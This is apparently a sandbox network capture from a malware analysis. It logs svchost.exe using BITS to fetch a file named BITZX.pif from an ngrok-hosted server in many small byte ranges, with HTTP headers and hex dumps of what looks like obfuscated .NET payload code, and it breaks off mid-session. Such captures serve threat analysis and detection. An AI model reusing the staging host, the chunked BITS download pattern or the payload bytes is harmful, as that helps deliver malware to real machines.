2025-01-15 14:23:27 UTC	158	IN	Data Raw: 0c 0b 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 20 ff ff ff 25 7e 64 68 00 04 28 93 f9 00 06 13 0c 20 00 00 00 00 7e 36 68 00 04 7b 53 68 00 04 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 07 00 45 02 00 00 00 05 00 00 00 2e 00 00 00 38 00 00 00 00 7e 66 68 00 04 28 9b f9 00 06 20 01 00 00 00 7e 36 68 00 04 7b f4 67 00 04 3a d0 ff ff ff 26 20 01 00 00 00 38 c5 ff ff ff dd b0 fe ff ff 20 03 00 00 00 38 a6 f7 ff ff 7e 10 00 00 04 20 e8 03 00 00 d8 7e 61 68 Data Ascii: E8 %~dh( ~6h{Sh:& 8E.8~fh( ~6h{g:& 8 8~ ~ah

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49771	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:31 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=4721-5107 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:31 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 387 Content-Range: bytes 4721-5107/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:31 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:31 UTC	387	IN	Data Raw: 00 04 28 87 f9 00 06 20 0f 00 00 00 38 87 f7 ff ff 28 35 f6 00 06 20 00 00 00 00 7e 36 68 00 04 7b 00 68 00 04 3a 6e f7 ff ff 26 20 00 00 00 00 38 63 f7 ff ff 14 fe 06 3b 00 00 06 73 2b 00 00 0a 73 2c 00 00 0a 13 01 20 08 00 00 00 38 46 f7 ff ff 00 41 4c 00 00 00 00 00 00 c7 02 00 00 ab 02 00 00 72 05 00 00 89 00 00 00 56 00 00 01 00 00 00 00 6c 00 00 00 b7 01 00 00 23 02 00 00 70 00 00 00 56 00 00 01 00 00 00 00 63 07 00 00 96 00 00 00 f9 07 00 00 70 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 4c 00 00 00 00 00 00 2d 00 00 00 90 00 00 00 bd 00 00 00 70 00 00 00 56 00 00 01 02 00 00 00 8d 01 00 00 8b 05 00 00 18 07 00 00 7b 00 00 00 00 00 00 00 00 00 00 00 2d 00 00 00 75 07 00 00 a2 07 00 00 70 00 00 00 56 00 00 01 12 00 00 00 Data Ascii: ( 8(5 ~6h{h:n& 8c;s+s, 8FALrVl#pVcpV0*AL-pV{-upV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49772	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:34 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=5108-5419 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:34 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 312 Content-Range: bytes 5108-5419/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:34 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:34 UTC	312	IN	Data Raw: 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 56 28 35 f6 00 06 28 43 f5 00 06 28 39 f5 00 06 28 39 f5 00 06 2a 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 8b 01 00 00 01 00 00 11 28 43 f5 00 06 20 04 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 0c 00 00 00 d1 00 00 00 4d 00 00 00 28 00 00 00 f6 00 00 00 05 00 00 00 1a 01 00 00 87 00 00 00 97 00 00 00 5d 00 00 00 14 00 00 00 98 00 00 00 be 00 00 00 38 cc 00 00 00 28 39 f5 00 06 20 03 00 00 00 38 b7 ff ff ff 7e 0f 00 00 04 80 26 00 00 04 20 07 00 00 00 38 a3 ff ff ff 14 80 1f 00 00 04 20 0a 00 00 00 7e 36 68 00 04 7b ec 67 00 04 39 89 ff ff ff 26 20 0a 00 00 00 38 7e ff ff ff 14 80 23 00 00 04 20 08 00 00 00 38 6e ff ff ff 16 73 2f 00 00 0a 80 24 00 00 Data Ascii: *V(5(C(9(9*0(C 8EM(]8(9 8~& 8 ~6h{g9& 8~# 8ns/$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49773	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:37 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=5420-5546 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:37 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 127 Content-Range: bytes 5420-5546/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:37 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:37 UTC	127	IN	Data Raw: 00 00 00 00 7e 36 68 00 04 7b f8 67 00 04 3a 18 ff ff ff 26 20 00 00 00 00 38 0d ff ff ff 28 29 f6 00 06 20 06 00 00 00 fe 0e 00 00 38 f6 fe ff ff 14 80 22 00 00 04 20 01 00 00 00 7e 36 68 00 04 7b 17 68 00 04 39 e0 fe ff ff 26 20 00 00 00 00 38 d5 fe ff ff 28 3b f5 00 06 20 03 00 00 00 7e 36 68 00 04 7b 31 68 00 04 39 bc fe ff ff 26 20 0b 00 00 00 38 b1 fe ff ff 14 80 25 00 00 Data Ascii: ~6h{g:& 8() 8" ~6h{h9& 8(; ~6h{1h9& 8%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49774	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:39 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=5547-5697 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:39 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 151 Content-Range: bytes 5547-5697/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:39 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:39 UTC	151	IN	Data Raw: 04 20 09 00 00 00 7e 36 68 00 04 7b 3c 68 00 04 3a 97 fe ff ff 26 20 09 00 00 00 38 8c fe ff ff 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 34 00 00 00 00 00 00 fd 01 00 00 b0 00 00 00 ad 02 00 00 6d 00 00 00 56 00 00 01 00 00 00 00 2c 00 00 00 20 03 00 00 4c 03 00 00 70 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 34 00 00 00 00 00 00 2d 00 00 00 b4 02 00 00 e1 02 Data Ascii: ~6h{<h:& 800A4mV, LpV0*A4-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49775	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:41 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=5698-5735 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:41 UTC	310	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 38 Content-Range: bytes 5698-5735/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:41 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:41 UTC	38	IN	Data Raw: 00 00 84 00 00 00 56 00 00 01 02 00 00 00 2d 00 00 00 38 03 00 00 65 03 00 00 42 00 00 00 00 00 00 00 13 30 07 00 Data Ascii: V-8eB0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49776	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:43 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=5736-5810 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:43 UTC	310	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 75 Content-Range: bytes 5736-5810/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:43 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:43 UTC	75	IN	Data Raw: 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 2f 00 d2 01 01 db 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 00 00 00 00 2f 00 00 00 1e 01 00 Data Ascii: 0/V0*A/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49777	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:45 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=5811-5991 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:45 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 181 Content-Range: bytes 5811-5991/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:45 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:45 UTC	181	IN	Data Raw: 00 4d 01 00 00 cc 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 00 00 00 00 2c 00 00 00 9e 00 00 00 ca 00 00 00 0b 01 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 4c 00 00 02 00 00 00 18 01 00 00 3c 01 00 00 54 02 00 00 7b 00 00 00 00 00 00 00 02 00 00 00 d8 00 00 00 0b 03 00 00 e3 03 00 00 7b 00 00 00 00 00 00 00 00 00 00 00 2f 00 00 00 53 04 00 00 82 04 00 00 df 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 34 00 00 02 00 00 00 79 00 00 00 39 01 00 00 Data Ascii: MV0A,V0AL<T{{/SV0*A4y9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49778	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:47 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=5992-6047 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:47 UTC	310	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 56 Content-Range: bytes 5992-6047/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:47 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:47 UTC	56	IN	Data Raw: b2 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 2c 00 00 00 b0 02 00 00 dc 02 00 00 c7 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 Data Ascii: ,V0*A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49779	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:50 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=6048-6126 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:50 UTC	310	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 79 Content-Range: bytes 6048-6126/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:50 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:50 UTC	79	IN	Data Raw: 00 00 00 00 2c 00 00 00 da 01 00 00 06 02 00 00 e1 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 00 00 00 00 2f 00 00 00 56 02 00 00 85 02 00 00 df 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 Data Ascii: ,V0*A/VV0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49780	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:52 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=6127-6166 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:52 UTC	310	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 40 Content-Range: bytes 6127-6166/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:52 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:52 UTC	40	IN	Data Raw: 00 00 00 00 2a 41 1c 00 00 00 00 00 00 82 00 00 00 bb 04 00 00 3d 05 00 00 c4 00 00 00 56 00 00 01 03 30 08 00 04 00 00 Data Ascii: *A=V0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49781	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:55 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=6167-6557 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:55 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 391 Content-Range: bytes 6167-6557/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:55 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:55 UTC	391	IN	Data Raw: 00 00 00 00 00 00 00 00 2a 01 10 00 00 00 00 2c 00 3c 68 00 70 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 4c 00 00 02 00 00 00 f7 00 00 00 5e 01 00 00 55 02 00 00 68 00 00 00 00 00 00 00 00 00 00 00 ba 00 00 00 27 02 00 00 e1 02 00 00 99 00 00 00 56 00 00 01 02 00 00 00 49 00 00 00 55 03 00 00 9e 03 00 00 7f 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 00 00 2d 00 47 74 00 84 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 34 00 00 00 00 d2 02 6e 40 03 70 56 00 00 01 00 00 78 00 6e e6 00 70 56 00 00 01 00 00 bb 03 8f 4a 04 70 56 00 00 01 00 00 b7 01 8b 42 02 70 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 00 00 2c 00 af db 00 6d 56 00 00 01 03 30 08 00 04 00 Data Ascii: ,<hpV0AL^Uh'VIU0-GtV04n@pVxnpVJpVBpV0*,mV0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49782	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:57 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=6558-6671 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:57 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 114 Content-Range: bytes 6558-6671/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:57 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:57 UTC	114	IN	Data Raw: 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 Data Ascii: **************

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49783	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:00 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=6672-6918 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:01 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 247 Content-Range: bytes 6672-6918/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:00 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:01 UTC	247	IN	Data Raw: 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 ab 00 00 00 01 00 00 11 28 43 f5 00 06 20 04 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 05 00 00 00 2a 00 00 00 29 00 00 00 48 00 00 00 05 00 00 00 39 00 00 00 38 25 00 00 00 28 3b f5 00 06 20 00 00 00 00 7e 36 68 00 04 7b 54 68 Data Ascii: ********************0(C 8E)H98%(; ~6h{Th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49784	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:03 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=6919-7068 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:04 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 150 Content-Range: bytes 6919-7068/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:03 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:04 UTC	150	IN	Data Raw: 00 04 39 c9 ff ff ff 26 20 00 00 00 00 38 be ff ff ff 2a 28 29 f6 00 06 20 02 00 00 00 38 ae ff ff ff 28 39 f5 00 06 20 03 00 00 00 38 9f ff ff ff 7e 26 00 00 04 7e 5a 68 00 04 28 6b f9 00 06 80 2b 00 00 04 20 01 00 00 00 7e 36 68 00 04 7b 4e 68 00 04 39 77 ff ff ff 26 20 01 00 00 00 38 6c ff ff ff 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 f4 00 00 00 00 00 00 c9 1b 00 00 a5 00 00 00 6e Data Ascii: 9& 8() 8(9 8~&~Zh(k+ ~6h{Nh9w& 8l00*An

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49785	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:06 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=7069-7124 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:07 UTC	310	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 56 Content-Range: bytes 7069-7124/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:06 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:07 UTC	56	IN	Data Raw: 1c 00 00 6d 00 00 00 56 00 00 01 00 00 00 00 1f 1d 00 00 45 00 00 00 64 1d 00 00 70 00 00 00 56 00 00 01 00 00 00 00 6f 19 00 00 45 00 00 00 b4 19 00 00 70 00 00 00 56 Data Ascii: mVEdpVoEpV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49786	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:09 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=7125-7243 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:10 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 119 Content-Range: bytes 7125-7243/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:09 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:10 UTC	119	IN	Data Raw: 00 00 01 00 00 00 00 7c 16 00 00 45 00 00 00 c1 16 00 00 70 00 00 00 56 00 00 01 00 00 00 00 03 1e 00 00 45 00 00 00 48 1e 00 00 70 00 00 00 56 00 00 01 00 00 00 00 f4 03 00 00 f3 00 00 00 e7 04 00 00 eb 00 00 00 56 00 00 01 00 00 00 00 4e 0d 00 00 7e 00 00 00 cc 0d 00 00 6d 00 00 00 56 00 00 01 00 00 00 00 9f 0e 00 00 bf 00 00 00 5e 0f 00 00 6d 00 00 00 Data Ascii: \|EpVEHpVVN~mV^m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49787	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:13 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=7244-7511 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:14 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 268 Content-Range: bytes 7244-7511/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:14 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:14 UTC	268	IN	Data Raw: 56 00 00 01 00 00 00 00 4e 0d 00 00 31 05 00 00 7f 12 00 00 70 00 00 00 56 00 00 01 00 00 00 00 26 00 00 00 4b 20 00 00 71 20 00 00 8f 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 00 00 00 00 26 00 00 00 be 0e 00 00 e4 0e 00 00 ba 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 00 00 25 00 7a 9f 00 70 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 00 00 25 00 80 a5 00 70 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 00 00 00 00 25 00 00 00 d0 02 00 00 f5 02 00 00 70 00 00 00 56 00 00 01 13 30 0a 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 1c 00 00 00 00 9c 00 94 30 01 6d 56 00 00 01 02 00 24 Data Ascii: VN1pV&K q V0A&V0%zpV0%pV0A%pV000mV$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49788	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:16 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=7512-7686 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:17 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 175 Content-Range: bytes 7512-7686/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:16 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:17 UTC	175	IN	Data Raw: 04 00 00 00 00 00 00 00 00 00 17 2a 01 10 00 00 00 00 54 00 de 32 01 70 56 00 00 01 13 30 0a 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 00 00 00 00 28 00 00 00 60 01 00 00 88 01 00 00 70 00 00 00 56 00 00 01 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 Data Ascii: T2pV00A(`pV00********

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49789	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
